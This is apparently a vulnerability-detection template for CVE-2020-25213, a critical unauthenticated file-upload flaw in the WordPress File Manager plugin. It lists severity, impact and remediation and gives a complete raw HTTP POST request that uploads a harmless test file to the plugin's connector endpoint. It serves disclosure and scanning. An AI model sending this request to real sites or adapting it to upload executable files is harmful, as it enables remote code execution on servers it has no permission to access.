| Title | WordPress File Manager Plugin - Remote Code Execution |
|---|---|
| Author | foulenzer |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site. |
| Remediation | Update to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9442 |
| CVE ID | CVE-2020-25213 |
| CWE ID | CWE-434 |
| Tags | cve cve2020 wordpress rce kev fileupload intrusive packetstorm webdesi9 vkev vuln |
The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 608
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48
Accept-Encoding: gzip
--------------------------ca81ac1fececda48
Content-Disposition: form-data; name="reqid"
17457a1fe6959
--------------------------ca81ac1fececda48
Content-Disposition: form-data; name="cmd"
upload
--------------------------ca81ac1fececda48
Content-Disposition: form-data; name="target"
l1_Lw
--------------------------ca81ac1fececda48
Content-Disposition: form-data; name="mtime[]"
1576045135
--------------------------ca81ac1fececda48
Content-Disposition: form-data; name="upload[]"; filename="poc.txt"
Content-Type: text/plain
poc-test
--------------------------ca81ac1fececda48--
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